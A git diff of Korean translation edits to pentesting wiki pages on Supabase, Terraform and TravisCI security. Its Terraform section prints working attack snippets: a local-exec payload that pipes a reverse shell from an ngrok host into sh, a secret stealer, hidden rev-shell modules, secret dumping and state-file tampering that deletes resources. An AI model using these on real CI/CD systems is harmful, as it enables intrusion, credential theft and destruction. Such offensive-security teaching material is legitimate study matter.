--git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index da64a9978..5d7d5050a 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -23,7 +23,7 @@ 이 섹션에는 다음과 같은 옵션도 포함되어 있습니다: - 데이터베이스 비밀번호 재설정 -- 연결 풀 구성 +- 연결 풀링 구성 - SSL 구성: 평문 연결 거부 (기본적으로 활성화되어 있음) - 디스크 크기 구성 - 네트워크 제한 및 금지 적용 @@ -33,11 +33,11 @@ > [!TIP] > **이 데이터는 `https://supabase.com/dashboard/project//settings/api`와 같은 링크에서 접근할 수 있습니다.** -프로젝트에서 supabase API에 접근하는 URL은 다음과 같습니다: `https://jnanozjdybtpqgcwhdiz.supabase.co`. +프로젝트에서 supabase API에 접근하는 URL은 다음과 같을 것입니다: `https://jnanozjdybtpqgcwhdiz.supabase.co`. ### anon API 키 -또한 **anon API 키**(`role: "anon"`)를 생성합니다, 예: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` 애플리케이션이 API 키에 접근하기 위해 사용해야 합니다. +또한 **anon API 키**(`role: "anon"`)를 생성합니다, 예: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` 이 애플리케이션이 API 키에 접근하기 위해 사용해야 합니다. 이 API에 연락하기 위한 API REST를 [**문서**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server)에서 찾을 수 있지만, 가장 흥미로운 엔드포인트는 다음과 같습니다: @@ -99,7 +99,7 @@ Priority: u=1, i ```
-그래서, 클라이언트가 부여받은 서브도메인으로 supabase를 사용하는 것을 발견할 때마다 (회사의 서브도메인이 그들의 supabase 서브도메인에 CNAME이 있을 가능성이 있음), **supabase API를 사용하여 플랫폼에 새 계정을 생성해 보십시오**. +그래서, 클라이언트가 부여받은 서브도메인으로 supabase를 사용하는 것을 발견할 때마다 (회사의 서브도메인이 그들의 supabase 서브도메인에 CNAME을 가질 가능성이 있음), **supabase API를 사용하여 플랫폼에 새 계정을 생성**해 볼 수 있습니다. ### 비밀 / 서비스 역할 API 키 @@ -116,10 +116,10 @@ API 키는 다음과 같습니다: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3M ### 가입 > [!TIP] -> 기본적으로 supabase는 **새 사용자가 프로젝트에 계정을 생성**할 수 있도록 허용합니다. +> 기본적으로 supabase는 **새 사용자가 프로젝트에 계정을 생성**할 수 있도록 이전에 언급한 API 엔드포인트를 사용합니다. -그러나 이러한 새 계정은 기본적으로 **로그인하기 위해 이메일 주소를 확인해야** 합니다. 이메일 주소를 확인하지 않고도 로그인할 수 있도록 **"익명 로그인 허용"**을 활성화할 수 있습니다. 이는 **예상치 못한 데이터**에 대한 접근을 허용할 수 있습니다 (그들은 `public` 및 `authenticated` 역할을 받습니다).\ -이는 매우 나쁜 아이디어입니다. 왜냐하면 supabase는 활성 사용자당 요금을 부과하기 때문에 사람들이 사용자를 생성하고 로그인할 수 있으며 supabase는 이에 대해 요금을 부과할 수 있기 때문입니다: +그러나 이러한 새 계정은 기본적으로 **로그인하기 위해 이메일 주소를 확인해야** 합니다. 이메일 주소 확인 없이 로그인할 수 있도록 **"익명 로그인 허용"**을 활성화할 수 있습니다. 이는 **예상치 못한 데이터**에 대한 접근을 허용할 수 있습니다 (그들은 `public` 및 `authenticated` 역할을 받습니다).\ +이는 supabase가 활성 사용자당 요금을 부과하기 때문에 매우 나쁜 아이디어입니다. 사람들이 사용자를 생성하고 로그인할 수 있으며 supabase는 이에 대해 요금을 부과할 것입니다:
@@ -138,7 +138,7 @@ API 키는 다음과 같습니다: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3M ### 고급 설정 - 액세스 토큰의 만료 시간 설정 (기본값 3600) -- 잠재적으로 손상된 새로 고침 토큰을 감지하고 취소하는 설정 +- 잠재적으로 손상된 새로 고침 토큰을 감지하고 취소하는 설정 및 타임아웃 - MFA: 사용자당 한 번에 등록할 수 있는 MFA 요소 수를 지정 (기본값 10) - 최대 직접 데이터베이스 연결: 인증에 사용되는 최대 연결 수 (기본값 10) - 최대 요청 지속 시간: 인증 요청이 지속될 수 있는 최대 시간 (기본값 10초) @@ -146,7 +146,7 @@ API 키는 다음과 같습니다: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3M ## 저장소 > [!TIP] -> Supabase는 **파일을 저장**하고 URL을 통해 접근할 수 있도록 허용합니다 (S3 버킷을 사용합니다). +> Supabase는 **파일을 저장**하고 URL을 통해 접근할 수 있도록 합니다 (S3 버킷을 사용합니다). - 업로드 파일 크기 제한 설정 (기본값 50MB) - S3 연결은 다음과 같은 URL로 제공됩니다: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` @@ -154,6 +154,6 @@ API 키는 다음과 같습니다: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3M ## 엣지 함수 -supabase에 **비밀을 저장**할 수도 있으며, 이는 **엣지 함수에 의해 접근 가능**합니다 (웹에서 생성 및 삭제할 수 있지만, 그 값을 직접 접근할 수는 없습니다). +supabase에 **비밀을 저장**할 수 있으며, 이는 **엣지 함수에 의해 접근 가능**합니다 (웹에서 생성 및 삭제할 수 있지만, 그 값에 직접 접근할 수는 없습니다). {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 0b6d8a834..53c2133a1 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -2,43 +2,43 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## 기본 정보 -[From the docs:](https://developer.hashicorp.com/terraform/intro) +[문서에서:] (https://developer.hashicorp.com/terraform/intro) HashiCorp Terraform은 **코드로서의 인프라 도구**로, 인간이 읽을 수 있는 구성 파일에서 **클라우드 및 온프레미스 리소스**를 정의할 수 있게 해줍니다. 이러한 파일은 버전 관리, 재사용 및 공유가 가능합니다. 그런 다음 일관된 워크플로를 사용하여 인프라의 전체 수명 주기 동안 모든 인프라를 프로비저닝하고 관리할 수 있습니다. Terraform은 컴퓨트, 스토리지 및 네트워킹 리소스와 같은 저수준 구성 요소뿐만 아니라 DNS 항목 및 SaaS 기능과 같은 고수준 구성 요소를 관리할 수 있습니다. #### Terraform은 어떻게 작동하나요? -Terraform은 클라우드 플랫폼 및 기타 서비스에서 리소스를 생성하고 관리하기 위해 애플리케이션 프로그래밍 인터페이스(API)를 사용합니다. 프로바이더는 Terraform이 접근 가능한 API가 있는 거의 모든 플랫폼이나 서비스와 작업할 수 있도록 합니다. +Terraform은 클라우드 플랫폼 및 기타 서비스에서 애플리케이션 프로그래밍 인터페이스 (API)를 통해 리소스를 생성하고 관리합니다. 제공자는 Terraform이 접근 가능한 API가 있는 거의 모든 플랫폼이나 서비스와 작업할 수 있도록 합니다. ![](<../images/image (177).png>) -HashiCorp와 Terraform 커뮤니티는 이미 **1700개 이상의 프로바이더**를 작성하여 수천 가지 유형의 리소스와 서비스를 관리하고 있으며, 이 숫자는 계속 증가하고 있습니다. 모든 공개 프로바이더는 [Terraform Registry](https://registry.terraform.io/)에서 찾을 수 있으며, 여기에는 Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog 등이 포함됩니다. +HashiCorp와 Terraform 커뮤니티는 이미 **1700개 이상의 제공자**를 작성하여 수천 가지 유형의 리소스와 서비스를 관리하고 있으며, 이 숫자는 계속 증가하고 있습니다. 모든 공개 제공자는 [Terraform Registry](https://registry.terraform.io/)에서 찾을 수 있으며, 여기에는 Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog 등이 포함됩니다. 핵심 Terraform 워크플로는 세 가지 단계로 구성됩니다: -- **작성:** 여러 클라우드 프로바이더 및 서비스에 걸쳐 리소스를 정의합니다. 예를 들어, 보안 그룹과 로드 밸런서가 있는 가상 사설 클라우드(VPC) 네트워크의 가상 머신에 애플리케이션을 배포하기 위한 구성을 만들 수 있습니다. -- **계획:** Terraform은 기존 인프라와 구성에 따라 생성, 업데이트 또는 삭제할 인프라를 설명하는 실행 계획을 생성합니다. -- **적용:** 승인이 이루어지면 Terraform은 리소스 종속성을 존중하며 제안된 작업을 올바른 순서로 수행합니다. 예를 들어, VPC의 속성을 업데이트하고 해당 VPC의 가상 머신 수를 변경하면 Terraform은 가상 머신을 확장하기 전에 VPC를 재생성합니다. +- **작성:** 여러 클라우드 제공자 및 서비스에 걸쳐 리소스를 정의합니다. 예를 들어, 보안 그룹과 로드 밸런서가 있는 가상 사설 클라우드 (VPC) 네트워크의 가상 머신에 애플리케이션을 배포하는 구성을 만들 수 있습니다. +- **계획:** Terraform은 기존 인프라 및 구성에 따라 생성, 업데이트 또는 삭제할 인프라를 설명하는 실행 계획을 생성합니다. +- **적용:** 승인 시 Terraform은 리소스 종속성을 존중하며 제안된 작업을 올바른 순서로 수행합니다. 예를 들어, VPC의 속성을 업데이트하고 해당 VPC의 가상 머신 수를 변경하면 Terraform은 가상 머신을 확장하기 전에 VPC를 재생성합니다. ![](<../images/image (215).png>) -### Terraform Lab +### Terraform 실습 -컴퓨터에 terraform을 설치하기만 하면 됩니다. +컴퓨터에 terraform을 설치하세요. 여기에서 [가이드](https://learn.hashicorp.com/tutorials/terraform/install-cli)를 확인하고, 여기에서 terraform을 다운로드하는 [최고의 방법](https://www.terraform.io/downloads)을 확인하세요. -## RCE in Terraform +## Terraform의 RCE Terraform은 **웹 페이지나 네트워크 서비스를 노출하는 플랫폼이 없습니다**. 따라서 terraform을 손상시키는 유일한 방법은 **terraform 구성 파일을 추가/수정할 수 있는 능력**입니다. -그러나 terraform은 **손상시키기 매우 민감한 구성 요소**입니다. 왜냐하면 제대로 작동하기 위해 **특권 액세스**를 다양한 위치에 가져야 하기 때문입니다. +그러나 terraform은 **손상시키기 매우 민감한 구성 요소**입니다. 왜냐하면 제대로 작동하기 위해 **다양한 위치에 대한 권한 있는 접근**을 가지기 때문입니다. -공격자가 terraform이 실행되는 시스템을 손상시킬 수 있는 주요 방법은 **terraform 구성을 저장하는 리포지토리를 손상시키는 것**입니다. 왜냐하면 언젠가는 이들이 **해석될** 것이기 때문입니다. +공격자가 terraform이 실행되는 시스템을 손상시킬 수 있는 주요 방법은 **terraform 구성을 저장하는 리포지토리를 손상시키는 것**입니다. 왜냐하면 어느 시점에서 그것들이 **해석될** 것이기 때문입니다. -실제로 PR이 생성된 후 **terraform plan/apply를 자동으로 실행하는** 솔루션이 존재합니다. 예를 들어 **Atlantis**가 있습니다: +실제로, **PR**이 생성된 후 **terraform plan/apply를 자동으로 실행하는** 솔루션이 있습니다. 예를 들어 **Atlantis**가 있습니다: {{#ref}} atlantis-security.md @@ -46,13 +46,13 @@ atlantis-security.md terraform 파일을 손상시킬 수 있다면, 누군가 `terraform plan` 또는 `terraform apply`를 실행할 때 RCE를 수행할 수 있는 다양한 방법이 있습니다. -### Terraform plan +### Terraform 계획 -Terraform plan은 terraform에서 **가장 많이 사용되는 명령어**이며, terraform을 사용하는 개발자/솔루션은 이를 항상 호출합니다. 따라서 **RCE를 얻는 가장 쉬운 방법**은 임의의 명령을 실행할 terraform 구성 파일을 오염시키는 것입니다. +Terraform 계획은 terraform에서 **가장 많이 사용되는 명령**이며, terraform을 사용하는 개발자/솔루션은 이를 항상 호출합니다. 따라서 **RCE를 얻는 가장 쉬운 방법**은 임의의 명령을 실행할 terraform 구성 파일을 오염시키는 것입니다. -**외부 프로바이더 사용하기** +**외부 제공자 사용** -Terraform은 Terraform과 외부 프로그램 간의 인터페이스를 제공하는 [`external` 프로바이더](https://registry.terraform.io/providers/hashicorp/external/latest/docs)를 제공합니다. `plan` 중에 임의의 코드를 실행하기 위해 `external` 데이터 소스를 사용할 수 있습니다. +Terraform은 Terraform과 외부 프로그램 간의 인터페이스를 제공하는 [`external` 제공자](https://registry.terraform.io/providers/hashicorp/external/latest/docs)를 제공합니다. `plan` 중에 임의의 코드를 실행하기 위해 `external` 데이터 소스를 사용할 수 있습니다. terraform 구성 파일에 다음과 같은 내용을 주입하면 `terraform plan`을 실행할 때 rev shell이 실행됩니다: ```javascript @@ -75,13 +75,13 @@ version = "1.0" provider "evil" {} ``` -The provider is downloaded in the `init` and will run the malicious code when `plan` is executed +제공자는 `init`에서 다운로드되며 `plan`이 실행될 때 악성 코드를 실행합니다. -You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) +예제는 [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)에서 확인할 수 있습니다. **외부 참조 사용하기** -두 가지 언급된 옵션은 유용하지만 그리 은밀하지는 않습니다 (두 번째는 더 은밀하지만 첫 번째보다 더 복잡합니다). 다음 제안을 따르면 **더 은밀한 방법**으로 이 공격을 수행할 수 있습니다: +언급된 두 가지 옵션은 유용하지만 그리 은밀하지 않습니다(두 번째는 첫 번째보다 더 은밀하지만 더 복잡합니다). 다음 제안을 따르면 이 공격을 **더 은밀한 방법**으로 수행할 수 있습니다: - terraform 파일에 rev shell을 직접 추가하는 대신, rev shell을 포함하는 **외부 리소스**를 **로드**할 수 있습니다: ```javascript @@ -89,14 +89,14 @@ module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) +다음 링크에서 rev shell 코드를 찾을 수 있습니다: [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -- 외부 리소스에서 **ref** 기능을 사용하여 **레포의 브랜치에 있는 terraform rev shell 코드를 숨기세요**, 다음과 같은 형식으로: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- 외부 리소스에서 **ref** 기능을 사용하여 리포지토리 내의 **브랜치에 있는 terraform rev shell 코드**를 숨길 수 있습니다. 예: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform apply는 모든 변경 사항을 적용하기 위해 실행됩니다. 또한 **악성 Terraform 파일을 주입하여 RCE를 얻기 위해 남용할 수 있습니다** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -다음과 같은 페이로드가 `main.tf` 파일에 포함되도록 해야 합니다: +Terraform apply는 모든 변경 사항을 적용하기 위해 실행됩니다. 또한 **악성 Terraform 파일을 주입하여 RCE를 얻기 위해 악용할 수 있습니다** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +다음과 같은 페이로드가 `main.tf` 파일에 포함되도록 하면 됩니다: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -112,11 +112,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -Follow the **suggestions from the previous technique** the perform this attack in a **stealthier way using external references**. +이 공격을 **더 은밀한 방법으로 수행하기 위해 이전 기술의 제안을 따르십시오**. -## Secrets Dumps +## 비밀 덤프 -You can have **secret values used by terraform dumped** running `terraform apply` by adding to the terraform file something like: +`terraform apply`를 실행하여 **terraform에서 사용되는 비밀 값을 덤프할 수 있습니다**. terraform 파일에 다음과 같은 내용을 추가하십시오: ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -132,7 +132,7 @@ terraform 상태 파일에 대한 쓰기 권한이 있지만 terraform 코드를 1. **실제 삭제할 리소스를 가리키는 임의의 이름으로 리소스를 상태 파일에 삽입하기** -terraform은 해당 리소스가 존재하지 않아야 한다고 판단하므로, 이를 파괴할 것입니다(지정된 실제 리소스 ID를 따릅니다). 이전 페이지의 예: +terraform은 해당 리소스가 존재하지 않아야 한다고 판단하여, 이를 파괴할 것입니다(지정된 실제 리소스 ID를 따릅니다). 이전 페이지의 예: ```json { "mode": "managed", @@ -148,13 +148,13 @@ terraform은 해당 리소스가 존재하지 않아야 한다고 판단하므 ] }, ``` -2. **업데이트할 수 없는 방식으로 삭제할 리소스를 수정합니다 (그래서 삭제되고 다시 생성됩니다)** +2. **업데이트할 수 없는 방식으로 삭제하도록 리소스를 수정합니다 (그래서 삭제되고 재생성됩니다)** -EC2 인스턴스의 경우, 인스턴스 유형을 수정하는 것만으로 terraform이 삭제하고 다시 생성하도록 만들 수 있습니다. +EC2 인스턴스의 경우, 인스턴스 유형을 수정하는 것만으로 terraform이 삭제하고 재생성하도록 만들 수 있습니다. ### RCE -[커스텀 프로바이더를 생성하는 것도 가능합니다](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) 그리고 terraform 상태 파일에서 악성 프로바이더로 하나의 프로바이더를 교체하거나 악성 프로바이더로 빈 리소스를 추가할 수 있습니다. 원래 연구의 예: +[사용자 정의 제공자를 생성하는 것도 가능합니다](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) 그리고 terraform 상태 파일에서 악성 제공자로 하나의 제공자를 교체하거나 악성 제공자로 빈 리소스를 추가합니다. 원래 연구의 예: ```json "resources": [ { @@ -169,7 +169,7 @@ EC2 인스턴스의 경우, 인스턴스 유형을 수정하는 것만으로 ter ``` ### 블랙리스트에 있는 프로바이더 교체 -`hashicorp/external`이 블랙리스트에 있는 상황에 직면한 경우, 다음과 같이 `external` 프로바이더를 재구현할 수 있습니다. 참고: 우리는 https://registry.terraform.io/providers/nazarewk/external/latest에서 게시된 external 프로바이더의 포크를 사용합니다. 당신도 자신의 포크나 재구현을 게시할 수 있습니다. +`hashicorp/external`이 블랙리스트에 있는 상황에 직면한 경우, 다음과 같이 `external` 프로바이더를 재구현할 수 있습니다. 참고: 우리는 https://registry.terraform.io/providers/nazarewk/external/latest에 게시된 external 프로바이더의 포크를 사용합니다. 당신도 자신의 포크나 재구현을 게시할 수 있습니다. ```terraform terraform { required_providers { @@ -180,7 +180,7 @@ version = "3.0.0" } } ``` -그런 다음 일반적으로 `external`을 사용할 수 있습니다. +그럼 정상적으로 `external`을 사용할 수 있습니다. ```terraform data "external" "example" { program = ["sh", "-c", "whoami"] @@ -190,12 +190,12 @@ program = ["sh", "-c", "whoami"] ### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/) -Snyk은 Terraform, CloudFormation, Kubernetes 및 기타 IaC 형식에서 취약점과 잘못된 구성을 감지하는 포괄적인 Infrastructure as Code (IaC) 스캔 솔루션을 제공합니다. +Snyk은 Terraform, CloudFormation, Kubernetes 및 기타 IaC 형식에서 취약점과 잘못된 구성을 감지하는 포괄적인 Infrastructure as Code (IaC) 스캐닝 솔루션을 제공합니다. - **기능:** -- 보안 취약점 및 규정 준수 문제에 대한 실시간 스캔. +- 보안 취약점 및 컴플라이언스 문제에 대한 실시간 스캐닝. - 버전 관리 시스템(GitHub, GitLab, Bitbucket)과의 통합. -- 자동 수정 풀 요청. +- 자동 수정 풀 리퀘스트. - 상세한 수정 조언. - **가입하기:** [Snyk](https://snyk.io/)에서 계정을 만드세요. ```bash @@ -206,9 +206,9 @@ snyk iac test /path/to/terraform/code ``` ### [Checkov](https://github.com/bridgecrewio/checkov) -**Checkov**는 코드로서의 인프라(IaC)를 위한 정적 코드 분석 도구이자 이미지 및 오픈 소스 패키지를 위한 소프트웨어 구성 분석(SCA) 도구입니다. +**Checkov**는 인프라스트럭처 코드(IaC)를 위한 정적 코드 분석 도구이자 이미지 및 오픈 소스 패키지를 위한 소프트웨어 구성 분석(SCA) 도구입니다. -이 도구는 [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) 또는 [OpenTofu](https://opentofu.org/)를 사용하여 프로비저닝된 클라우드 인프라를 스캔하고 그래프 기반 스캔을 통해 보안 및 컴플라이언스 잘못 구성된 사항을 감지합니다. +이 도구는 [Terraform](https://terraform.io/)을 사용하여 프로비저닝된 클라우드 인프라를 스캔하고, [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) 또는 [OpenTofu](https://opentofu.org/)를 스캔하여 그래프 기반 스캐닝을 사용하여 보안 및 컴플라이언스 잘못 구성된 사항을 감지합니다. 이 도구는 오픈 소스 패키지 및 이미지에 대한 일반 취약점 및 노출(CVEs)을 스캔하는 [소프트웨어 구성 분석(SCA) 스캔](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md)을 수행합니다. ```bash @@ -223,7 +223,7 @@ From the [**docs**](https://github.com/terraform-compliance/cli): `terraform-com - **behaviour driven development:** 거의 모든 것에 대해 BDD가 있는데, IaC에 대해서는 왜 안 될까요? - **portable:** `pip`에서 설치하거나 `docker`를 통해 실행하기만 하면 됩니다. [설치](https://terraform-compliance.com/pages/installation/)를 참조하세요. - **pre-deploy:** 배포되기 전에 코드를 검증합니다. -- **easy to integrate:** 모든 배포가 검증되도록 파이프라인(또는 git 후크)에서 실행할 수 있습니다. +- **easy to integrate:** 모든 배포가 검증되도록 파이프라인(또는 git hooks)에서 실행할 수 있습니다. - **segregation of duty:** 별도의 팀이 책임지는 다른 리포지토리에 테스트를 보관할 수 있습니다. > [!NOTE] @@ -241,7 +241,7 @@ From the [**docs**](https://github.com/aquasecurity/tfsec): tfsec는 잠재적 - ⛔ 수백 개의 내장 규칙 - 🪆 모듈 스캔 (로컬 및 원격) - ➕ HCL 표현식과 리터럴 값을 평가합니다. -- ↪️ Terraform 함수 예: `concat()`를 평가합니다. +- ↪️ Terraform 함수 예: `concat()`을 평가합니다. - 🔗 Terraform 리소스 간의 관계를 평가합니다. - 🧰 Terraform CDK와 호환됩니다. - 🙅 사용자 정의 Rego 정책을 적용하고 (장식합니다). @@ -256,7 +256,7 @@ tfsec /path/to/folder **KICS**를 사용하여 인프라 코드의 개발 주기 초기에 보안 취약점, 컴플라이언스 문제 및 인프라 구성 오류를 찾아보세요. -**KICS**는 **K**eeping **I**nfrastructure as **C**ode **S**ecure의 약자로, 오픈 소스이며 모든 클라우드 네이티브 프로젝트에 필수입니다. +**KICS**는 **K**eeping **I**nfrastructure as **C**ode **S**ecure의 약자로, 오픈 소스이며 모든 클라우드 네이티브 프로젝트에 필수적입니다. ```bash docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" ``` @@ -265,14 +265,14 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/" From the [**docs**](https://github.com/tenable/terrascan): Terrascan은 코드로서의 인프라를 위한 정적 코드 분석기입니다. Terrascan을 사용하면 다음을 수행할 수 있습니다: - 잘못된 구성을 위해 코드로서의 인프라를 원활하게 스캔합니다. -- 구성 변경으로 인한 포지션 드리프트를 모니터링하고, 안전한 포지션으로 되돌릴 수 있게 합니다. +- 구성 변경으로 인한 포지션 드리프트를 도입하는 프로비저닝된 클라우드 인프라를 모니터링하고, 안전한 포지션으로 되돌릴 수 있습니다. - 보안 취약점 및 규정 준수 위반을 감지합니다. - 클라우드 네이티브 인프라를 프로비저닝하기 전에 위험을 완화합니다. - 로컬에서 실행하거나 CI\CD와 통합할 수 있는 유연성을 제공합니다. ```bash brew install terrascan ``` -## References +## 참고 문헌 - [Atlantis Security](atlantis-security.md) - [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce) diff --git a/src/pentesting-ci-cd/todo.md b/src/pentesting-ci-cd/todo.md index e5ebb30f8..9c721f458 100644 --- a/src/pentesting-ci-cd/todo.md +++ b/src/pentesting-ci-cd/todo.md @@ -11,6 +11,6 @@ - Rancher - Mesosphere - Radicle -- 기타 CI/CD 플랫폼... +- 기타 CI/CD 플랫폼... {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md index 2cf278537..e49f41b6e 100644 --- a/src/pentesting-ci-cd/travisci-security/README.md +++ b/src/pentesting-ci-cd/travisci-security/README.md @@ -1,8 +1,8 @@ -# TravisCI Security +# TravisCI 보안 {{#include ../../banners/hacktricks-training.md}} -## What is TravisCI +## TravisCI란? **Travis CI**는 여러 **다양한 git 플랫폼**에 호스팅된 소프트웨어 프로젝트를 빌드하고 테스트하는 데 사용되는 **호스팅** 또는 **온프레미스** **지속적 통합** 서비스입니다. @@ -10,32 +10,32 @@ basic-travisci-information.md {{#endref}} -## Attacks +## 공격 -### Triggers +### 트리거 공격을 시작하려면 먼저 빌드를 트리거하는 방법을 알아야 합니다. 기본적으로 TravisCI는 **푸시 및 풀 리퀘스트에서 빌드를 트리거**합니다: ![](<../../images/image (145).png>) -#### Cron Jobs +#### 크론 작업 -웹 애플리케이션에 접근할 수 있다면 **크론을 설정하여 빌드를 실행**할 수 있습니다. 이는 지속성을 위해 유용하거나 빌드를 트리거하는 데 사용할 수 있습니다: +웹 애플리케이션에 접근할 수 있다면 **빌드를 실행하기 위해 크론을 설정**할 수 있습니다. 이는 지속성을 위해 유용하거나 빌드를 트리거하는 데 사용할 수 있습니다: ![](<../../images/image (243).png>) > [!NOTE] -> [이](https://github.com/travis-ci/travis-ci/issues/9162) 링크에 따르면 `.travis.yml` 내에서 크론을 설정하는 것은 불가능한 것 같습니다. +> [이](https://github.com/travis-ci/travis-ci/issues/9162) 에 따르면 `.travis.yml` 내에서 크론을 설정하는 것은 불가능한 것 같습니다. -### Third Party PR +### 제3자 PR TravisCI는 기본적으로 제3자에서 오는 PR과 환경 변수를 공유하는 것을 비활성화하지만, 누군가 이를 활성화하면 리포지토리에 PR을 생성하고 비밀을 유출할 수 있습니다: ![](<../../images/image (208).png>) -### Dumping Secrets +### 비밀 덤프 -[**기본 정보**](basic-travisci-information.md) 페이지에서 설명한 바와 같이, 비밀에는 2가지 유형이 있습니다. **환경 변수 비밀**(웹 페이지에 나열됨)과 **사용자 정의 암호화된 비밀**이 있으며, 이는 `.travis.yml` 파일에 base64로 저장됩니다(저장된 암호화된 두 가지 모두 최종 머신의 환경 변수로 끝납니다). +[**기본 정보**](basic-travisci-information.md) 페이지에서 설명한 바와 같이, 비밀에는 2가지 유형이 있습니다. **환경 변수 비밀**(웹 페이지에 나열됨)과 **사용자 정의 암호화된 비밀**이 있으며, 이는 `.travis.yml` 파일 내에 base64로 저장됩니다(두 가지 모두 암호화되어 저장되면 최종 머신의 환경 변수로 끝납니다). - **환경 변수**로 구성된 **비밀을 나열**하려면 **프로젝트**의 **설정**으로 가서 목록을 확인하십시오. 그러나 여기에서 설정된 모든 프로젝트 환경 변수는 빌드를 트리거할 때 나타납니다. - **사용자 정의 암호화된 